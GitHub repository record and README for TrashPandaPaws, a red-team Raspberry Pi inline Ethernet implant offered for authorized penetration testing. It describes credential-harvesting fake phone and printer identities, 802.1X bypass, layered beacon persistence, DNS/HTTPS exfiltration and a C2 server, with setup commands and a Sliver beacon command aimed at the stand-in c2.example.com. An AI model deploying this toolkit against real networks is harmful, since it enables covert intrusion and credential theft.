{"id":51952298,"url":"https://github.com/benjitrapp/trashpandapaws","last_synced_at":"2026-07-29T07:00:59.684Z","repository":{"id":372830746,"uuid":"1307838013","full_name":"BenjiTrapp/TrashPandaPaws","owner":"BenjiTrapp","description":"Red Team hardware implant — RPi4/CM4 inline Ethernet tap with PoE, dual cover identities (Cisco Phone / HP Printer), 802.1X NAC bypass, and Sliver C2","archived":false,"fork":false,"pushed_at":"2026-07-23T16:41:48.000Z","size":4288,"stargazers_count":2,"open_issues_count":0,"forks_count":1,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-07-23T18:11:43.603Z","etag":null,"topics":["802-1x","ethernet-tap","hardware-implant","kicad","nac-bypass","network-security","pcb-design","penetration-testing","poe","raspberry-pi","red-team","sliver-c2"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BenjiTrapp.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-07-21T15:17:34.000Z","updated_at":"2026-07-23T16:41:53.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/BenjiTrapp/TrashPandaPaws","commit_stats":null,"previous_names":["benjitrapp/trashpandapaws"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/BenjiTrapp/TrashPandaPaws","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FTrashPandaPaws","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FTrashPandaPaws/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FTrashPandaPaws/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FTrashPandaPaws/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BenjiTrapp","download_url":"https://codeload.github.com/BenjiTrapp/TrashPandaPaws/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FTrashPandaPaws/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36022278,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-07-29T02:00:04.910Z","response_time":95,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["802-1x","ethernet-tap","hardware-implant","kicad","nac-bypass","network-security","pcb-design","penetration-testing","poe","raspberry-pi","red-team","sliver-c2"],"created_at":"2026-07-29T07:00:59.025Z","updated_at":"2026-07-29T07:00:59.672Z","avatar_url":"https://github.com/BenjiTrapp.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"static/trashpanda_logo.png\" alt=\"TrashPandaPaws Logo\"\u003e\n\u003c/p\u003e\n\n\u003ch1 align=\"center\"\u003eTrashPandaPaws\u003c/h1\u003e\n\n\u003cp align=\"center\"\u003e\n  \u003ca href=\"https://github.com/BenjiTrapp/TrashPandaPaws\"\u003e\u003cimg src=\"https://img.shields.io/badge/GitHub-TrashPandaPaws-181717?logo=github\" alt=\"GitHub\"\u003e\u003c/a\u003e\n  \u003cimg src=\"https://img.shields.io/badge/platform-Raspberry%20Pi%204%20%7C%20CM4-c51a4a?logo=raspberrypi\u0026logoColor=white\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-ParrotOS%20ARM64-00e5ff?logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003ca href=\"docs/C2_DEMO.md\"\u003e\u003cimg src=\"https://img.shields.io/badge/C2%20Demo-20%20screenshots-blueviolet\" alt=\"C2 Demo\"\u003e\u003c/a\u003e\n  \u003cimg src=\"https://img.shields.io/badge/license-use%20responsibly-red\" alt=\"License\"\u003e\n\u003c/p\u003e\n\nRed Team network hardware implant built on a Raspberry Pi 4 with a custom PCB HAT,\nrunning **ParrotOS** (ARM64). Designed for authorized penetration testing engagements.\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"docs/screenshots/01_dashboard.png\" alt=\"Raccoon C2 Operator GUI\" width=\"800\"\u003e\n\u003c/p\u003e\n\n## Overview\n\nThe Raccoon Implant is an inline Ethernet tap that bridges two network ports on a custom HAT\nand captures traffic transparently while providing remote C2 access. The entire device is\npowered via PoE from the upstream switch port. It presents itself as either a Cisco IP Phone\nor an HP network printer to blend into enterprise infrastructure.\n\n## Architecture\n\n```mermaid\ngraph LR\n    SW[\"Switch Port\u003cbr/\u003e(PoE 802.3af)\"] --\u003e|\"RJ45 + PoE\"| ETH0[\"Pi ETH0\u003cbr/\u003e(upstream)\"]\n    ETH0 --\u003e|\"PoE Header J14\"| POE[\"HAT PoE\u003cbr/\u003eSI3402-B → TPS54302\"]\n    POE --\u003e|\"5V @ 3A\"| PI[\"Raspberry Pi 4\u003cbr/\u003eParrotOS ARM64\"]\n    ETH0 \u003c--\u003e|\"br0 bridge\"| ETH1[\"HAT ETH1\u003cbr/\u003eRTL8153B USB GbE\"]\n    ETH1 --\u003e|\"RJ45\"| TGT[\"Target Device\"]\n\n    subgraph Raccoon HAT PCB\n        POE\n        ETH1\n    end\n\n    style SW fill:#4a9,stroke:#333,color:#fff\n    style TGT fill:#e74,stroke:#333,color:#fff\n    style PI fill:#47a,stroke:#333,color:#fff\n```\n\n```mermaid\ngraph TB\n    subgraph Software Stack\n        MAIN[\"main.py\u003cbr/\u003eOrchestrator\"] --\u003e NAC[\"nac_bypass.py\u003cbr/\u003e802.1X Bypass\"]\n        MAIN --\u003e BRIDGE[\"bridge_tap.py\u003cbr/\u003eL2 Bridge + Sniffer\"]\n        MAIN --\u003e COVER[\"Cover Identity\"]\n        MAIN --\u003e C2[\"C2 Channel\"]\n        MAIN --\u003e EXFIL[\"Exfiltrator\"]\n        COVER --\u003e CISCO[\"cisco_phone.py\u003cbr/\u003eCisco IP Phone 7960\"]\n        COVER --\u003e HP[\"hp_printer.py\u003cbr/\u003eHP LaserJet MFP M478\"]\n        C2 --\u003e SLIVER[\"sliver.py\u003cbr/\u003eSliver Beacon (primary)\"]\n        C2 --\u003e PYBCN[\"beacon.py\u003cbr/\u003ePython Beacon (fallback)\"]\n        BRIDGE --\u003e PCAP[\"pcap_writer.py\u003cbr/\u003eRotating PCAP\"]\n    end\n\n    subgraph Persistence\n        SYSD[\"systemd\u003cbr/\u003eraccoon-implant.service\"] --\u003e MAIN\n        BEACON_SVC[\"systemd\u003cbr/\u003eraccoon-beacon.service\"] --\u003e C2_STANDALONE[\"beacon_standalone.py\u003cbr/\u003eSliver → Fallback\"]\n        CRON[\"crontab @reboot\"] --\u003e C2_STANDALONE\n        RCLOCAL[\"rc.local\"] --\u003e C2_STANDALONE\n    end\n\n    style MAIN fill:#47a,stroke:#333,color:#fff\n    style SLIVER fill:#c44,stroke:#333,color:#fff\n    style C2_STANDALONE fill:#c44,stroke:#333,color:#fff\n```\n\n## Hardware\n\nThree build variants are available. Pick the one that fits your engagement:\n\n| | Lite (off-the-shelf) | v1 (Pi 4 + HAT) | v2 (CM4 carrier) |\n|---|---|---|---|\n| Custom PCB | None | 1 (2-layer HAT) | 1 (4-layer carrier) |\n| Boards | Pi + switch | 2 (stacked) | 1 |\n| Total size | Pi + switch box | 85×56 + 65×56mm | 85×56mm |\n| Cost | ~€95 | ~$75 + PCB | ~$53 + PCB |\n| PoE | External (UniFi switch) | Custom HAT | On-board |\n| Soldering | None | SMD (HAT) | Fine-pitch (CM4) |\n| Best for | Lab / quick deploy / training | Field deployment | Covert long-term |\n\n### Lite: Raspberry Pi + UniFi PoE Switch\n\nZero soldering, fully off-the-shelf. A Raspberry Pi 4 with a USB Ethernet\nadapter and an external UniFi PoE switch for power and connectivity.\nIdeal for lab testing, training, and quick field deployments where\nstealth is less critical.\n\n```mermaid\ngraph LR\n    UPLINK[\"Uplink Port\u003cbr/\u003e(Target Network)\"] --\u003e|\"RJ45\"| UNIFI[\"UniFi USW-Flex-Mini\u003cbr/\u003ePoE-powered switch\"]\n    UNIFI --\u003e|\"RJ45 → eth0\"| PI[\"Raspberry Pi 4\u003cbr/\u003eParrotOS ARM64\"]\n    UNIFI --\u003e|\"PoE passthrough\u003cbr/\u003e(or USB-C PSU)\"| PI\n    PI --\u003e|\"USB 3.0\"| USB_ETH[\"USB GbE Adapter\u003cbr/\u003eRTL8153 → eth1\"]\n    USB_ETH --\u003e|\"RJ45\"| TGT[\"Target Device\"]\n\n    style UPLINK fill:#4a9,stroke:#333,color:#fff\n    style TGT fill:#e74,stroke:#333,color:#fff\n    style PI fill:#47a,stroke:#333,color:#fff\n    style UNIFI fill:#888,stroke:#333,color:#fff\n```\n\n**Shopping List:**\n\n| Qty | Item | Search Term | Est. Price |\n|-----|------|-------------|------------|\n| 1 | Raspberry Pi 4 Model B 4GB | `Raspberry Pi 4 Model B 4GB RAM` | ~60 € |\n| 1 | USB 3.0 Gigabit Ethernet Adapter | `USB 3.0 Gigabit Ethernet Adapter RTL8153` | ~12 € |\n| 1 | microSD Card 32GB+ (A2) | `SanDisk Extreme 32GB microSD A2` | ~10 € |\n| 1 | UniFi USW-Flex-Mini | `Ubiquiti USW-Flex-Mini` | ~30 € |\n| 3 | Short Ethernet cables (30cm) | `Cat6 Ethernet Cable 30cm short` | ~8 € |\n| 1 | USB-C PSU 5V 3A (if no PoE) | `Raspberry Pi 4 USB-C Power Supply 5V 3A` | ~10 € |\n\n\u003e **Total: ~€95** without PoE injector. All parts are available from Amazon or similar retailers.\n\n**Power Options:**\n\n| Setup | How |\n|-------|-----|\n| PoE-powered switch | Connect the UniFi USW-Flex-Mini to a PoE switch port so it powers itself |\n| PoE to Pi | Use the USW-Flex-Mini with a PoE splitter (e.g. `UCTRONICS PoE Splitter USB-C 5V`) to feed USB-C into the Pi |\n| Standalone | Use a USB-C power supply for the Pi and a regular switch uplink |\n\n**Advantages:**\n- No soldering and no custom PCB required. Ready to deploy in 10 minutes.\n- Components are easy to replace individually.\n- The UniFi switch blends in as a normal network device.\n- Well suited for red team training and proof-of-concept demos.\n\n**Disadvantages:**\n- Physically larger than v1/v2 because it consists of two separate devices.\n- No integrated PoE for the Pi, so a splitter or USB-C PSU is needed.\n- Less covert than a custom board hidden inside a phone or printer enclosure.\n\n**Quick Start (Lite):**\n\n```bash\n# 1. Flash ParrotOS onto the SD card\n# 2. Boot the Pi and connect the USB Ethernet adapter\nsudo ./software/setup/bootstrap.sh\nsudo ./software/setup/configure_bridge.sh\nsudo ./services/install.sh\n\n# 3. Connect UniFi switch uplink to target network, Pi to port 2, target device to port 3\nsudo reboot\n```\n\n### v1: Raspberry Pi 4 + Custom PoE HAT\n\n| Component               | Part                  | Purpose                        |\n|--------------------------|-----------------------|--------------------------------|\n| SBC                      | Raspberry Pi 4B 4GB   | Compute (ParrotOS ARM64)      |\n| PoE PD Controller        | SI3402-B              | IEEE 802.3af PoE extraction   |\n| DC-DC Converter          | TPS54302              | 48V → 5V @ 3A                 |\n| USB-to-GbE Controller    | RTL8153B-VB-CG        | Second Ethernet port          |\n| RJ45 Jack                | HR911105A             | Downstream Ethernet connector |\n| GPIO Header              | 2x20 pin 2.54mm      | Pi HAT interface              |\n\nFull BOM: [`hardware/bom.csv`](hardware/bom.csv)\nPCB Design: [`hardware/kicad/`](hardware/kicad/) (Schematic + PCB, KiCad 10)\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003ePCB Layout\u003c/strong\u003e (click to expand)\u003c/summary\u003e\n\u003cbr\u003e\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"static/pcb_boardKiCad.png\" alt=\"Raccoon HAT v1.0 PCB Layout (KiCad)\" width=\"800\"\u003e\n\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"static/pcb_board_KiCad.png\" alt=\"Raccoon HAT v1.0 PCB 3D Render\" width=\"800\"\u003e\n\u003c/p\u003e\n\n65×56mm 2-layer board with SI3402-B PoE PD, TPS54302 DC-DC, RTL8153B USB-GbE,\nAP2112K LDO, W25Q16 SPI Flash, RJ45 downstream jack, USB-A 3.0 to Pi,\n2×20 GPIO header, and all passives (19 caps, 8 resistors). GND pour on back copper.\n\u003c/details\u003e\n\n### v2: Integrated Carrier Board (CM4)\n\nSingle-board design that replaces the Pi 4 + HAT stack with a Raspberry Pi\nCompute Module 4 carrier board. Everything on one 85×56mm 4-layer PCB.\n\n```mermaid\ngraph LR\n    SW[\"Switch Port\u003cbr/\u003e(PoE 802.3af)\"] --\u003e|\"RJ45 + PoE\"| J1[\"J1 RJ45\u003cbr/\u003e(upstream)\"]\n    J1 --\u003e|\"MDI 0-3\"| CM4[\"CM4 Module\u003cbr/\u003eBCM2711 quad A72\u003cbr/\u003eParrotOS / Kali\"]\n    J1 --\u003e|\"CT taps\"| POE[\"SI3402-B → TPS54302\u003cbr/\u003ePoE → 5V\"]\n    POE --\u003e CM4\n    CM4 --\u003e|\"USB 3.0\"| RTL[\"RTL8153B\u003cbr/\u003eUSB-to-GbE\"]\n    RTL --\u003e J2[\"J2 RJ45\u003cbr/\u003e(downstream)\"]\n    J2 --\u003e TGT[\"Target Device\"]\n    CM4 --\u003e USBC[\"USB-C\u003cbr/\u003eDebug/Flash\"]\n\n    subgraph \"Raccoon v2 PCB (85×56mm, 4-layer)\"\n        J1; POE; CM4; RTL; J2; USBC\n    end\n\n    style SW fill:#4a9,stroke:#333,color:#fff\n    style TGT fill:#e74,stroke:#333,color:#fff\n    style CM4 fill:#47a,stroke:#333,color:#fff\n```\n\n| | v1 (Pi 4 + HAT) | v2 (CM4 carrier) |\n|---|---|---|\n| Boards | 2 (stacked) | 1 |\n| Size | 85×56 + 65×56mm | 85×56mm |\n| Height | ~25mm | ~10mm |\n| Cost | ~$75 | ~$53 |\n| ETH1 | USB cable/dongle | On-board traces |\n| PCB layers | 2 | 4 |\n\nDesign guide: [`hardware/v2-integrated/design-guide.md`](hardware/v2-integrated/design-guide.md)\nBOM: [`hardware/v2-integrated/bom.csv`](hardware/v2-integrated/bom.csv)\n\n### Shopping List for v1 HAT Components (Retail)\n\nAdditional retail parts needed alongside the v1 HAT PCB:\n\n| Qty | Item | Search Term | Est. Price |\n|-----|------|-------------|------------|\n| 1 | Raspberry Pi 4 Model B 4GB | `Raspberry Pi 4 Model B 4GB RAM` | ~60 € |\n| 1 | microSD Card 32GB+ (A2, U3) | `SanDisk Extreme 32GB microSD A2` | ~10 € |\n| 2 | Short Ethernet cables (30cm, Cat6) | `Cat6 Ethernet Cable 30cm short` | ~5 € |\n\n\u003e **Note:** The v1 HAT provides PoE power and the second Ethernet port\n\u003e on-board, so no USB adapter or USB-C PSU is needed in production. For lab\n\u003e testing without the HAT, use the **Lite** variant above.\n\n### Parts Sourcing (Electronic Distributors)\n\nAll ICs and passives for the custom PoE HAT PCB. Links point to manufacturer\npart pages on Mouser, DigiKey and LCSC. These are stable part-number URLs.\n\n#### ICs \u0026 Active Components\n\n| Part | MPN | Description | Distributor Links |\n|------|-----|-------------|-------------------|\n| PoE PD Controller | SI3402-B-FS | IEEE 802.3af PD, QFN-20 | [Mouser](https://www.mouser.com/c/?q=SI3402-B-FS) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=SI3402-B-FS) |\n| DC-DC Converter | TPS54302DDCR | 3A 28V step-down, SOT-23-6 | [Mouser](https://www.mouser.com/c/?q=TPS54302DDCR) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=TPS54302DDCR) |\n| USB-GbE Controller | RTL8153B-VB-CG | USB 3.0 to GbE, QFN-48 | [LCSC](https://www.lcsc.com/search?q=RTL8153B-VB-CG) |\n| 3.3V LDO | AP2112K-3.3TRG1 | 600mA LDO, SOT-23-5 | [Mouser](https://www.mouser.com/c/?q=AP2112K-3.3TRG1) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=AP2112K-3.3TRG1) |\n| SPI Flash | W25Q16JVSSIQ | 16Mbit, SOP-8 (RTL8153B FW) | [LCSC](https://www.lcsc.com/search?q=W25Q16JVSSIQ) |\n\n#### Magnetics, Connectors \u0026 Diodes\n\n| Part | MPN | Description | Distributor Links |\n|------|-----|-------------|-------------------|\n| PoE Transformer | 750342460 | Flyback 48V:5V | [Mouser](https://www.mouser.com/c/?q=750342460) |\n| RJ45 + Magnetics | HR911105A | 10/100/1000, THT | [LCSC](https://www.lcsc.com/search?q=HR911105A) |\n| GPIO Header | SSW-120-02-G-D | 2x20 2.54mm, THT | [Mouser](https://www.mouser.com/c/?q=SSW-120-02-G-D) · [DigiKey](https://www.digikey.com/en/products/filter?keywords=SSW-120-02-G-D) |\n| USB-A Male | USB 3.0 Type-A Male | SMD, to Pi USB port | [Mouser](https://www.mouser.com/c/?q=USB+3.0+type+A+male+SMD) |\n| Schottky Diode | MBRS340T3G | 40V 3A, SMA | [Mouser](https://www.mouser.com/c/?q=MBRS340T3G) |\n| TVS Diode | SMBJ58A | 58V PoE protection | [Mouser](https://www.mouser.com/c/?q=SMBJ58A) |\n| Dual Schottky | BAT54S | SOT-23 (×2) | [Mouser](https://www.mouser.com/c/?q=BAT54S) |\n| Crystal 25MHz | 25MHz 3215 | For RTL8153B | [LCSC](https://www.lcsc.com/search?q=25MHz+3215+crystal) |\n| PTC Fuse | nSMD050-24V | 500mA resettable, 1206 | [Mouser](https://www.mouser.com/c/?q=nSMD050-24V) |\n\n#### Passives (Capacitors, Resistors, Inductors, LEDs)\n\n| Part | MPN | Value / Package | Qty | Source |\n|------|-----|-----------------|-----|--------|\n| Power Inductor | SRN6045TA-100M | 10µH 3A, 1210 | 1 | [Mouser](https://www.mouser.com/c/?q=SRN6045TA-100M) |\n| Inductor | LQM21FN4R7M | 4.7µH, 0805 | 1 | [LCSC](https://www.lcsc.com/search?q=LQM21FN4R7M) |\n| Electrolytic Cap | UVR1H101MDD1TD | 100µF 50V (×2) | 2 | [Mouser](https://www.mouser.com/c/?q=UVR1H101MDD1TD) |\n| MLCC 22µF | CL21A226MQQNNNG | 22µF 10V, 0805 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL21A226MQQNNNG) |\n| MLCC 10µF | CL21A106KOQNNNG | 10µF 25V, 0805 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL21A106KOQNNNG) |\n| MLCC 100nF | CL05B104KO5NNNC | 100nF, 0402 (×6) | 6 | [LCSC](https://www.lcsc.com/search?q=CL05B104KO5NNNC) |\n| MLCC 10pF | CL05C100JB5NNNC | 10pF, 0402 (×2) | 2 | [LCSC](https://www.lcsc.com/search?q=CL05C100JB5NNNC) |\n| Resistors | 0402 assorted | 75R, 1K, 10K, 22K, 25.5K, 49.9K, 100K | 10 | [LCSC](https://www.lcsc.com/search?q=RC0402FR) |\n| LED Green | 19-217/GHC-YR1S2/3T | 0402 link activity | 1 | [LCSC](https://www.lcsc.com/search?q=19-217%2FGHC-YR1S2) |\n| LED Amber | 19-217/Y2C-CQ2R2L/3T | 0402 power | 1 | [LCSC](https://www.lcsc.com/search?q=19-217%2FY2C-CQ2R2L) |\n\n\u003e **Tip:** Order passives (capacitors, resistors, LEDs) from LCSC. They\n\u003e ship from Shenzhen with low minimums and stock every Samsung/Yageo/Murata\n\u003e part. ICs and the transformer are easier to source from Mouser/DigiKey\n\u003e where authenticity is guaranteed.\n\n## Software\n\n### Features\n\n- Transparent Ethernet bridge that acts as a zero-config inline tap\n- Selective traffic capture with BPF filters and rotating PCAP output\n- **Two cover identities** selectable via `configs/raccoon.yaml`:\n  - **Cisco IP Phone 7960** emulating SIP, RTP, and an HTTP admin interface\n  - **HP Color LaserJet Pro MFP M478** emulating HTTP (401), JetDirect/PJL (9100), LPD (515), CUPS/IPP (631), SNMP (161), and Telnet (23)\n- **802.1X NAC bypass** using EAPOL forwarding, passive discovery, and ebtables/iptables L2/L3 rewriting\n- **Remote access** via SSH reverse tunnel (autossh) and VNC (headless x11vnc), both independently configurable\n- Credential capture from HTTP Basic Auth and Telnet login attempts\n- C2 beacon over DNS and HTTPS with jittered callbacks\n- Captured data exfiltration via DNS tunneling or HTTPS\n- Watchdog and systemd auto-recovery\n- Full Cisco IOS-style logging\n\n### Cover Modes\n\n| Mode | Config Value | Services | Use Case |\n|------|-------------|----------|----------|\n| Cisco VoIP Phone | `cisco_phone` | HTTP :80, SIP :5060, RTP :10000 | VoIP-heavy environments |\n| HP Network Printer | `hp_printer` | HTTP :80, PJL :9100, LPD :515, IPP :631, SNMP :161, Telnet :23 | Office environments with network printers |\n\nSet `device_mode` at the top of `configs/raccoon.yaml` to switch.\n\n\u003ctable\u003e\n\u003ctr\u003e\n\u003ctd width=\"50%\" align=\"center\"\u003e\n\u003cstrong\u003eCisco IP Phone 7960\u003c/strong\u003e\u003cbr\u003e\u003cbr\u003e\n\u003cimg src=\"static/cover_cisco_phone.png\" alt=\"Cisco IP Phone 7960 Login Page\" width=\"380\"\u003e\u003cbr\u003e\u003cbr\u003e\nEmulates Cisco Unified Communications login portal with SIP, RTP, and credential harvesting.\n\u003c/td\u003e\n\u003ctd width=\"50%\" align=\"center\"\u003e\n\u003cstrong\u003eHP Color LaserJet Pro MFP M478\u003c/strong\u003e\u003cbr\u003e\u003cbr\u003e\n\u003cimg src=\"static/cover_hp_printer.png\" alt=\"HP LaserJet MFP M478 EWS Login\" width=\"380\"\u003e\u003cbr\u003e\u003cbr\u003e\nEmulates HP Embedded Web Server with JetDirect, LPD, IPP, SNMP, and Telnet services.\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/table\u003e\n\nBoth covers include credential harvesting, browser fingerprinting (Canvas, WebGL, WebRTC), and realistic device metadata with proper vendor OUI MAC addresses.\n\n### Quick Setup\n\n#### Option A: Image Builder (recommended)\n\nBuild a ready-to-boot SD card from your workstation without any manual setup on the Pi.\nRuns on Linux, macOS, or WSL2.\n\n```bash\n# Flash SD card directly (interactive, confirms before writing)\nsudo ./software/setup/build_image.sh /dev/sdX\n\n# With WiFi for headless first boot\nsudo ./software/setup/build_image.sh /dev/sdX --wifi MyNetwork:MyPassword\n\n# With custom config and credentials\nsudo ./software/setup/build_image.sh /dev/sdX \\\n  --config /path/to/raccoon.yaml \\\n  --user operator:s3cret \\\n  --wifi FieldOps:hunter2\n\n# Build image only (don't flash)\nsudo ./software/setup/build_image.sh --no-flash\n# → .build/output/trashpandapaws-6.2.img\n```\n\nThe image builder downloads ParrotOS ARM64, injects the Raccoon software and config,\nand creates a first-boot provisioning service that installs all dependencies, configures\nnetworking, and enables all services automatically. Insert the SD card, power on, wait\n~5 minutes for first boot.\n\n#### Option B: Manual setup\n\nOn a fresh ParrotOS ARM64 installation (Raspberry Pi 4):\n\n```bash\nsudo ./software/setup/bootstrap.sh       # system deps + ParrotOS hardening\nsudo ./software/setup/configure_bridge.sh # bridge eth0 \u003c-\u003e eth1\nsudo ./services/install.sh               # systemd + beacon persistence\nsudo reboot                              # activates MAC spoof + bridge + beacon autorun\n```\n\nAfter reboot the C2 beacon starts automatically via 5 independent persistence layers. No manual `systemctl start` is needed.\n\n### Beacon Persistence (Autorun)\n\n```mermaid\ngraph TD\n    BOOT[\"Pi Boot\u003cbr/\u003e(ParrotOS)\"] --\u003e MAC[\"raccoon-macspoof.service\u003cbr/\u003eMAC Spoofing\"]\n    MAC --\u003e NET[\"Network Online\"]\n\n    NET --\u003e SVC[\"Layer 1: systemd\u003cbr/\u003eraccoon-beacon.service\u003cbr/\u003e(30s delay)\"]\n    NET --\u003e CRON[\"Layer 2: crontab\u003cbr/\u003e@reboot\u003cbr/\u003e(45s delay)\"]\n    NET --\u003e RC[\"Layer 3: rc.local\u003cbr/\u003e(60s delay)\"]\n    NET --\u003e UDEV[\"Layer 4: udev\u003cbr/\u003eon eth0 up\u003cbr/\u003e(30s delay)\"]\n\n    SVC --\u003e PID{\"PID Lock\u003cbr/\u003e/tmp/.raccoon_beacon.pid\"}\n    CRON --\u003e PID\n    RC --\u003e PID\n    UDEV --\u003e PID\n\n    PID --\u003e|\"first wins\"| BEACON[\"beacon_standalone.py\u003cbr/\u003eHTTPS + DNS C2\"]\n    PID --\u003e|\"duplicates exit\"| SKIP[\"exit 0\"]\n\n    TIMER[\"Layer 5: systemd timer\u003cbr/\u003eevery 5 min\"] --\u003e|\"if beacon dead\"| SVC\n\n    style BEACON fill:#c44,stroke:#333,color:#fff\n    style PID fill:#fa0,stroke:#333,color:#000\n    style TIMER fill:#47a,stroke:#333,color:#fff\n```\n\nThe PID lock file prevents duplicate instances. Whichever layer starts first holds the lock and the rest exit silently. The systemd timer watchdog restarts the beacon if all instances die.\n\n### Why ParrotOS?\n\n- Pre-installed security tools (scapy, tcpdump, nmap, aircrack, john, etc.)\n- Hardened Debian base with AppArmor profiles\n- Smaller attack surface than Kali (lighter desktop options)\n- Official ARM64 images for Raspberry Pi 4\n- `macchanger` included for boot-time MAC spoofing\n- Familiar `apt` package management\n\n### C2: Sliver Integration\n\nThe Raccoon Implant uses [Sliver](https://github.com/BishopFox/sliver) as the primary C2 framework.\nThe custom Python beacon serves as a fallback if the Sliver binary is unavailable.\n\n```mermaid\ngraph LR\n    subgraph \"Operator Machine\"\n        SERVER[\"Sliver Server\"] --\u003e|\"generate beacon\u003cbr/\u003e--os linux --arch arm64\"| BIN[\"raccoon implant\u003cbr/\u003e(Go binary)\"]\n    end\n\n    BIN --\u003e|\"scp / staging URL\"| PI[\"Raspberry Pi 4\u003cbr/\u003e/opt/raccoon/bin/implant\"]\n\n    subgraph \"Raccoon Implant (Target Network)\"\n        PI --\u003e MGR[\"sliver.py\u003cbr/\u003eSliverManager\"]\n        MGR --\u003e|\"primary\"| SLIVER[\"Sliver Beacon\u003cbr/\u003emTLS / HTTPS / DNS\"]\n        MGR --\u003e|\"if binary missing\"| FALLBACK[\"beacon.py\u003cbr/\u003ePython Fallback\u003cbr/\u003eHTTPS / DNS\"]\n    end\n\n    SLIVER --\u003e|\"mTLS :8888\u003cbr/\u003eHTTPS :443\u003cbr/\u003eDNS\"| SERVER\n    FALLBACK --\u003e|\"HTTPS / DNS\"| SERVER\n\n    style SLIVER fill:#c44,stroke:#333,color:#fff\n    style FALLBACK fill:#fa0,stroke:#333,color:#000\n    style SERVER fill:#47a,stroke:#333,color:#fff\n```\n\n**Deployment (on operator machine):**\n\n```bash\n# Option 1: Interactive, opens Sliver console\n./software/setup/deploy_sliver.sh generate\n\n# Option 2: Automated, generates with defaults\n./software/setup/deploy_sliver.sh generate-auto c2.example.com\n\n# Deploy to implant device\n./software/setup/deploy_sliver.sh deploy 192.168.1.100\n\n# Or generate + deploy in one step\n./software/setup/deploy_sliver.sh full c2.example.com 192.168.1.100\n```\n\n**Recommended Sliver generate command:**\n\n```\ngenerate beacon --os linux --arch arm64 \\\n  --mtls c2.example.com:8888 \\\n  --http c2.example.com \\\n  --dns c2.example.com \\\n  --seconds 300 --jitter 20 \\\n  --skip-symbols \\\n  --name raccoon \\\n  --save ./bin/implant\n```\n\n### C2: Team Server (Operator GUI)\n\nThe Raccoon C2 Team Server is a Flask-based command \u0026 control server with an\nembedded single-page operator GUI. It manages beacon agents, provides an\ninteractive terminal, and integrates offensive tooling for post-exploitation.\n\n```mermaid\ngraph LR\n    subgraph \"Operator\"\n        BROWSER[\"Browser\u003cbr/\u003eGUI on :8443\"]\n    end\n\n    subgraph \"Raccoon C2 Team Server\"\n        FLASK[\"Flask API\u003cbr/\u003e+ Embedded GUI\"]\n        TOOLS[\"Server-Side Tools\u003cbr/\u003eImpacket · NXC · Lsassy\u003cbr/\u003eRelayKing · Responder\"]\n    end\n\n    subgraph \"Target Network\"\n        B1[\"Beacon 1\u003cbr/\u003e(Raccoon Implant)\"]\n        B2[\"Beacon 2\u003cbr/\u003e(Pivot Host)\"]\n    end\n\n    BROWSER --\u003e|\"Bearer Token\u003cbr/\u003eHTTPS\"| FLASK\n    FLASK \u003c--\u003e|\"AES-256-GCM\u003cbr/\u003eencrypted tasking\"| B1\n    FLASK \u003c--\u003e|\"AES-256-GCM\"| B2\n    FLASK --- TOOLS\n\n    style FLASK fill:#c44,stroke:#333,color:#fff\n    style TOOLS fill:#47a,stroke:#333,color:#fff\n    style B1 fill:#fa0,stroke:#333,color:#000\n    style B2 fill:#fa0,stroke:#333,color:#000\n```\n\n**GUI Features:**\n\n| Feature | Description |\n|---------|-------------|\n| Agent Management | List, select, and interact with beacon agents in real-time |\n| Interactive Terminal | Send commands to beacons with autocomplete and history |\n| File Browser | Navigate the remote filesystem, download files, upload, and loot directories |\n| Loot Viewer | Browse and download all collected loot (files, credentials) |\n| Process Listing | `tasklist /v` with automatic AV/EDR/SOC product detection (33 products) |\n| Netstat View | Parsed network connections table with automatic security assessment |\n| Pivot View | Discover and enumerate hosts on 